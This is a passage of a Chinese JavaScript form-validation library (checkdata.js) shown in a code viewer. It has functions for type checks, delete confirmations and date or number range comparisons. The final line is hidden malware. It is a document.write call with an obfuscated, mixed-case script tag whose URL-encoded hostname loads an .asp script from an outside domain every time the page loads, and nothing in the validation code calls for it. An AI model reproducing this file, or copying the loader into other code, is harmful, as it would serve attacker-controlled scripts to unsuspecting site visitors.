📄 checkdata.js
字号:
}
}
return num;
}
function onCheckValue(arg,args3,args4){
//alert("输入有值是进行数据类型的效验");
if(args3==1){
//alert("检查是否字符串");
if(isStrAlt(arg,args4)) return true;
return false;
}else if(args3==2){
//alert("检查是否NUMBER");
if(isNumberAlt(arg,args4))return true;
return false;
}else if(args3==3){
//alert("检查是否FLOAT");
if(isFloatAlt(arg,args4))return true;
return false;
}else if(args3==4){
//alert("检查是否DATE");
if(isDateAlt(arg,args4))return true;
return false;
}else if(args3==5){
//alert("检查是否只能是数字和字母的组合");
if(isStringAlt(arg,args4))return true;
return false;
}else if(args3==6){
//alert("检查是否是DATETIME");
if(isDatetimeAlt(arg,args4))return true;
return false;
}
}
/*
在有多条(或者一条)记录的情况下执行删除操作(可删除多条记录)时而需要的效验:multDelAct()
参数args1代表复选框对象,例如:document.form1.name
*/
function multDelAct(args1){
if(!args1){
alert("没有记录要删除!");
return false;
}else if(args1.length){
var a=0;
for(i=0;i<args1.length;i++){
if(args1[i].checked)a++;
}
if(a==0){
alert("你还没有选择要删除的记录!");
return false;
}else{
if(confirm("你真的要删除吗?")){
return true;
}
return false;
}
}else{
if(!args1.checked){
alert("你还没有选择要删除的记录!");
return false;
}else {
if(confirm("你真的要删除吗?")){
return true;
}
return false;
}
}
}
/*
在有多条(或者一条)记录的情况下执行必须对一条记录操作而需要的效验:multAct()
参数args1代表复选框对象,例如:document.form1.name
参数args2代表显示信息,例如:"删除","修改"
参数args3代表是否提醒用户进行的此操作,1代表提醒,0代表不提醒
*/
function multAct(args1,args3,args2){
if(!args1){
alert("没有记录要"+args2+"!");
return false;
}else if(args1.length){
var a=0;
for(i=0;i<args1.length;i++)
if(args1[i].checked)a++;
if(a>1){
alert("只能"+args2+"一个记录!");
return false;
}else if(a<1){
alert("你还没有选择要"+args2+"的记录!");
return false;
}else if(args3==1){
if(confirm("你真的要"+args2+"吗?")){
return true;
}
return false;
}else{
return true;
}
}else{
if(!args1.checked){
alert("你还没有选择要"+args2+"的记录!");
return false;
}else if(args3==1){
if(confirm("你真的要"+args2+"吗?")){
return true;
}
return false;
}else{
return true;
}
}
return false;
}
/*
在有多条(或者一条)记录的情况下执行必须对一条记录操作而需要的效验:multAct()
参数args1代表复选框对象,例如:document.form1.name
参数args2代表显示信息,例如:"删除","修改"
参数args3代表是否提醒用户进行的此操作,1代表提醒,0代表不提醒
参数args4代表是否可以多选 0 代表不可以 1代表可以
参数args5是当前项是否可以删除 0 代表可以 1 代表不可以
*/
function wwmultAct(args1,args3,args2,args4,args5){
if(!args1){
alert("没有目录要"+args2+"!");
return false;
}else if(args1.length){
if(args4==0){
var a=0;
for(i=0;i<args1.length;i++)
if(args1[i].checked)a++;
if(a>1){
alert("只能"+args2+"一个目录!");
return false;
}else if(a<1){
alert("你还没有选择要"+args2+"的目录!");
return false;
}else if(args3==1){
for(i=0;i<args1.length;i++)
{ if(args5!=null){
if(args1[i].checked)
{
if(args5[i].value=='1')
{ a++;
// alert(i);
alert("你选择的目录里含有不允许删除的目录,请检查!");
return false;
break;;
}
}
}
}
/* if(a>1){
alert("只能"+args2+"一个目录!");
return false;
}*/
if(confirm("你真的要"+args2+"吗?")){
return true;
}
return false;
}else{
return true;
}
}else if(args4==1){
var a=0;
for(i=0;i<args1.length;i++)
{ if(args5!=null){
if(args1[i].checked)
{ a++;
if(args5[i].value=='1')
{
alert("你选择的目录里含有不允许删除的目录,请检查!");
return false;
break;;
}
}
}
}
if(a<1){
alert("你还没有选择要"+args2+"的目录!");
return false;
}else {
return true;
}
}
}else{
if(!args1.checked){
alert("你还没有选择要"+args2+"的目录!");
return false;
}else if(args3==1){
if(args5!=null){
if(args5.value=='1'){
alert("你选择的目录里含有不允许删除的目录,请检查!");
return false;
}
}
if(confirm("你真的要"+args2+"吗?")){
return true;
}
return false;
}else{
if(args5!=null){
if(args5.value=='1'){
alert("你选择的目录里含有不允许删除的目录,请检查!");
return false;
}
}
return true;
}
}
return false;
}
/*
在有多条(或者一条)记录的情况下执行必须对一条记录操作而需要的效验:multAct()
参数args1代表复选框对象,例如:document.form1.name
参数args2代表显示信息,例如:"删除","修改"
参数args3代表是否提醒用户进行的此操作,1代表提醒,0代表不提醒
参数args4代表是否可以多选,1代表可以,0代表不可以
@ author wangxinliang
*/
function wmultAct(args1,args3,args2,args4,args5){
if(!args1){
alert("没有记录要"+args2+"!");
return false;
}else if(args1.length){
if(args4==0){
var a=0;
for(i=0;i<args1.length;i++)
if(args1[i].checked)a++;
if(a>1){
alert("只能"+args2+"一个目录!");
return false;
}else if(a<1){
alert("你还没有选择要"+args2+"的目录!");
return false;
}else if(args3==1){
if(confirm("你真的要"+args2+"吗?")){
return true;
}
return false;
}else{
return true;
}
}else if(args4==1){
var a=0;
for(i=0;i<args1.length;i++)
{
if(args1[i].checked)
{ a++;
if(args5[i].value=='0')
{
alert("你选择的目录里含有不允许删除的目录,请检查!");
return false;
break;;
}
}
}
if(a<1){
alert("你还没有选择要"+args2+"的目录!");
return false;
}else {
return true;
}
}
}else{
if(!args1.checked){
alert("你还没有选择要"+args2+"的目录!");
return false;
}else if(args3==1){
if(confirm("你真的要"+args2+"吗?")){
return true;
}
return false;
}else{
return true;
}
}
return false;
}
/**
* 作用: 检查起始日期及结束日期是否正确,并加以错误提示
* 参数: startObj-起始日期的输入对象,msgStart-起始日期说明,noEmptyS-起始日期是否可以为空 "0"为可以为空
* endObj-结束日期的输入对象,msgEnd-结束日期说明,noEmptyE-结束日期是否可以为空 "0"为可以为空
* 返回: 是否正确
*/
function checkDatePair(startObj,msgStart,noEmptyS,endObj,msgEnd,noEmptyE)
{
var startIsEmpty=false; //开始日期是否为空
var endIsEmpty=false;//结束日期是否为空
//开始日期的空值判断及设定
if(noEmptyS=="0"){
if(isEmpty(startObj)){
startIsEmpty=true;
}else{
if(!isDateAlt(startObj,msgStart)){
return false;
}
}
}else{
if(isEmptyAlt(startObj,msgStart)){
return false;
}
if(!isDateAlt(startObj,msgStart)){
return false;
}
}
//结束日期的空值判断及设定
if(noEmptyE=="0"){
if(isEmpty(endObj)){
endIsEmpty=true;
}else{
if(!isDateAlt(endObj,msgEnd)){
return false;
}
}
}else{
if(isEmptyAlt(endObj,msgEnd)){
return false;
}
if(!isDateAlt(endObj,msgEnd)){
return false;
}
}
//如果开始及结束时间有一个为空,则不进行比较
if(startIsEmpty||endIsEmpty){
return true;
}
var arrayOfStart = trim(startObj.value).split("-");
var arrayOfEnd = trim(endObj.value).split("-");
var startdate=Date.UTC(arrayOfStart[0],arrayOfStart[1],arrayOfStart[2],0,0,0);
var enddate=Date.UTC(arrayOfEnd[0],arrayOfEnd[1],arrayOfEnd[2],0,0,0);
if(startdate>enddate){
alert('"'+msgEnd+'"不能小于"'+msgStart+'",请重新输入。');
endObj.focus();
return false;
}
return true;
}
/*
对常见数据大小进行效验dataCompare(),后一个值一定要大于前一个值,若不是提示信息,光标自动定位
参数args1代表小参数对象,例如:document.form1.name.value
参数args2代表大参数对象,例如:document.form1.name.value
参数args3代表参数类型: 2代表"number", 3代表"float", 4代表"date"代表
参数args4代表参数的实际意义,以便能准确通知用户。
*/
function dataCompare(args1,args2,args3,args4){
if(!isEmpty(args1)&&!isEmpty(args2)){
switch(args3){
case 2 : return numberCompare(args1,args2,args4);
case 3 : return floatCompare(args1,args2,args4);
case 4 : return dateCompare(args1,args2,args4);
case 6 : return datetimeCompare(args1,args2,args4);
}
}
return true;
}
/*
对number数据大小进行效验numberCompare(),后一个值一定要大于前一个值,若不是提示信息,光标自动定位
参数args1代表小参数对象,例如:document.form1.name.value
参数args2代表大参数对象,例如:document.form1.name.value
参数args3代表参数的实际意义,以便能准确通知用户。
*/
function numberCompare(args1,args2,args3){
var firstNumber=parseInt(args1.value);
var twoNumber=parseInt(args2.value);
if(firstNumber<=twoNumber){
return true;
}else{
alert("起始"+args3+"输入的值应该小于终止"+args3+"值!");
args1.focus();
return false;
}
}
/*
对float数据大小进行效验floatCompare,后一个值一定要大于前一个值,若不是提示信息,光标自动定位
参数args1代表小参数对象,例如:document.form1.name.value
参数args2代表大参数对象,例如:document.form1.name.value
参数args3代表参数的实际意义,以便能准确通知用户。
*/
function floatCompare(args1,args2,args3){
var firstNumber=parseFloat(args1.value);
var twoNumber=parseFloat(args2.value);
if(firstNumber<=twoNumber){
return true;
}else{
alert("起始"+args3+"输入的值应该小于终止"+args3+"值!");
args1.focus();
return false;
}
}
/*
对date数据大小进行效验dateCompare,后一个值一定要大于前一个值,若不是提示信息,光标自动定位
参数args1代表小参数对象,例如:document.form1.name.value
参数args2代表大参数对象,例如:document.form1.name.value
参数args3代表参数的实际意义,以便能准确通知用户。
*/
function dateCompare(args1,args2,args3){
var arrayOfStart = trim(args1.value).split("-");
var arrayOfEnd = trim(args2.value).split("-");
//alert(""+arrayOfEnd);
var startDate=new Date(arrayOfStart[0],arrayOfStart[1],arrayOfStart[2]);
//alert("startDate="+startDate);
var endDate=new Date(arrayOfEnd[0],arrayOfEnd[1],arrayOfEnd[2]);
//alert("endDate="+endDate);
//alert(startDate<=endDate);
if(startDate<=endDate){
//alert("判断合法已进入!");
return true;
}else{
alert("起始"+args3+"输入的值应该小于终止"+args3+"值!");
args1.focus();
return false;
}
}
/*
对datetime数据大小进行效验datetimeCompare,后一个值一定要大于前一个值,若不是提示信息,光标自动定位
参数args1代表小参数对象,例如:document.form1.name.value
参数args2代表大参数对象,例如:document.form1.name.value
参数args3代表参数的实际意义,以便能准确通知用户。
*/
function datetimeCompare(args1,args2,args3){
//alert("来了");
var objDateStart=args1.value.substring(0,10);
var objTimeStart=args1.value.substring(11,16);
var dateArrayOfStart = trim(objDateStart).split("-");
var timeArrayOfStart = trim(objTimeStart).split(":");
var objDateEnd=args2.value.substring(0,10);
var objTimeEnd=args2.value.substring(11,16);
var dateArrayOfEnd = trim(objDateEnd).split("-");
var timeArrayOfEnd = trim(objTimeEnd).split(":");
//alert(""+arrayOfEnd);
var startDate=new Date(dateArrayOfStart[0],dateArrayOfStart[1],dateArrayOfStart[2],timeArrayOfStart[0],timeArrayOfStart[1],0);
//alert("startDate="+startDate);
var endDate=new Date(dateArrayOfEnd[0],dateArrayOfEnd[1],dateArrayOfEnd[2],timeArrayOfEnd[0],timeArrayOfEnd[1],0);
//alert("endDate="+endDate);
//alert(startDate<=endDate);
if(startDate<=endDate){
//alert("判断合法已进入!");
return true;
}else{
alert("起始"+args3+"输入的值应该小于终止"+args3+"值!");
args1.focus();
return false;
}
}
/*
对输入的数据用指定操作附进行分割
参数strData代表要分割的数据
参数actionPoint代表操作附
返回一个数组,顺序排列
*/
function splitString(strData,actionPoint){
var tempStr=strData;
var args=new Array();
var index=0;
while(tempStr.indexOf(actionPoint)!=-1){
args[index]=tempStr.substring(0,tempStr.indexOf(actionPoint));
tempStr=tempStr.substring(tempStr.indexOf(actionPoint)+1);
index++;
}
args[index]=tempStr;
return args;
}
/*
在有多条(或者一条)记录的情况下执行必须对一条记录删除操作而需要的效验:deleteAct()
参数args1代表复选框对象,例如:document.form1.checkNO
参数args2代表主键字段,有多个用逗号割开,例如:"wellno,jsjg"
参数args4代表主键字段值,有多个用逗号割开,例如:"4052033,345"
参数args3代表是否提醒用户进行的此操作,1代表提醒,0代表不提醒
*/
function deleteAct(args1,args3,args2,args4){
if(args1.length){
var a=0;
for(i=0;i<args1.length;i++)
if(args1[i].checked)a++;
if(a>1){
alert("只能删除一个记录!");
return false;
}else if(a<1){
alert("你还没有选择要删除的记录!");
return false;
}else if(args3==1){
if(confirm("你真的要删除吗?")){
if(!isDelData(document.form1.action,args2,args4)){
return false;
}
return true;
}
return false;
}else{
if(!isDelData(document.form1.action,args2,args4)){
return false;
}
return true;
}
}else{
if(!args1.checked){
alert("你还没有选择要删除的记录!");
return false;
}else if(args3==1){
if(confirm("你真的要删除吗?")){
if(!isDelData(document.form1.action,args2,args4)){
return false;
}
return true;
}
return false;
}else{
if(!isDelData(document.form1.action,args2,args4)){
return false;
}
return true;
}
}
return false;
}
/*
取得删除记录的主键顺序号:getDelPoint()
参数args1代表复选框对象,例如:document.form1.checkNO
*/
function getDelPoint(args1){
if(!args1){
alert("没有记录要删除!");
return 200;
}else if(args1.length){
for(i=0;i<args1.length;i++){
if(args1[i].checked){
return i;
}
}
}else{
return 100;
}
}
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -